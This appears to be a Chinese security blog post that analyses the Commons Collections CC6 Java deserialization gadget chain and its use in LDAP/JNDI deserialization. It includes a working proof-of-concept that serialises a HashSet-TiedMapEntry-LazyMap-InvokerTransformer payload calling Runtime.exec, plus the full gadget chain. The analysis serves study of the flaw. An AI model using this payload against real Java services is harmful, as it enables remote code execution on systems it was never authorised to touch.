CC6 & LDAP反序列化

0x00 前言

书接上文,我使用了LDAP反序列化绕过了JDK版本的trustURLCodebase的限制。但是并没有深入的去分析关于反序列化的部分,其中我使用到的是CC6的利用链,那这次就是来分析的。CC6是用HashSet去触发LazyMap的get方法,来达到RCE的。

0x01 POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public class Main {
public static void main(String[] args) throws Exception{

unserialize();
}

public static void serialize() throws Exception{
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"open -a Calculator"}),
new ConstantTransformer(1),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
Map hashMap = new HashMap();
Map decorate = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry key = new TiedMapEntry(decorate, "key");
HashSet hashSet = new HashSet(1);
hashSet.add(key);
// HashMap map = new HashMap();
// map.put(key, "value");
decorate.remove("key");
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("./cc6.bin"));
// oos.writeObject(map);
oos.writeObject(hashSet);
oos.close();

}
public static void unserialize() throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("./cc6.bin"));
Object o = ois.readObject();
System.out.println(o);
}
}

这里因为是执行的ois.readObject()所以需要先执行ObjectInputStream#readObject方法,然后这一套流程是完全重复的并且网上已经有完善的分析了,故不多做赘述。我们需要将断点下在HashSet#readObject方法中,从这里之后才是真正反序列化的开始。

HashSet#readObject代码如下,首先传入的是一个ObjectInputStream s

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {

//code

capacity = (int) Math.min(size * Math.min(1 / loadFactor, 4.0f),
HashMap.MAXIMUM_CAPACITY);


SharedSecrets.getJavaOISAccess()
.checkArray(s, Map.Entry[].class, HashMap.tableSizeFor(capacity));
//map被定义成HashMap
map = (((HashSet<?>)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));
for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
//使用读取对象,将其赋值给e,E可以理解成一个占位符
E e = (E) s.readObject();
//将反序列化的e执行HashMap#put方法
map.put(e, PRESENT);
}
}

我们来查看HashMap#put中的代码

1
2
3
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

这里在执行putVal()之前会执行到hash(key)而其中就会执行到key.hashCode()

1
2
3
4
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

所以如果key的内容是TiedMapEntry的话就会执行到其hashCode()方法

TiedMapEntry#hashCode代码中会先调用getValue()

1
2
3
4
5
6
7
8
9
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}

public Object getValue() {
return map.get(key);
}

而这里的map.get(key),在我们序列化的时候TiedMapEntry key = new TiedMapEntry(decorate, "key");传入的这个decorate就是一个LazyMap对象,于是直到了LazyMap其实就跟CC2的反序列化一样啦。

利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()

0x02 关于LDAP反序列化

那么既然现在我们已经弄清楚了CC6的链,回顾一下LDAP反序列化的入口函数deserializeObject(),这次明显就可以看出((ObjectInputStream)var20).readObject()是反序列化的入口函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
private static Object deserializeObject(byte[] var0, ClassLoader var1) throws NamingException {
try {
ByteArrayInputStream var2 = new ByteArrayInputStream(var0);

try {
Object var20 = var1 == null ? new ObjectInputStream(var2) : new LoaderInputStream(var2, var1);
Throwable var21 = null;

Object var5;
try {
//入口
var5 = ((ObjectInputStream)var20).readObject();
} catch (Throwable var16) {
var21 = var16;
throw var16;
} //code
}

参考链接:

https://longlone.top/%E5%AE%89%E5%85%A8/java/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%AF%876/

https://www.cnblogs.com/1vxyz/p/17447478.html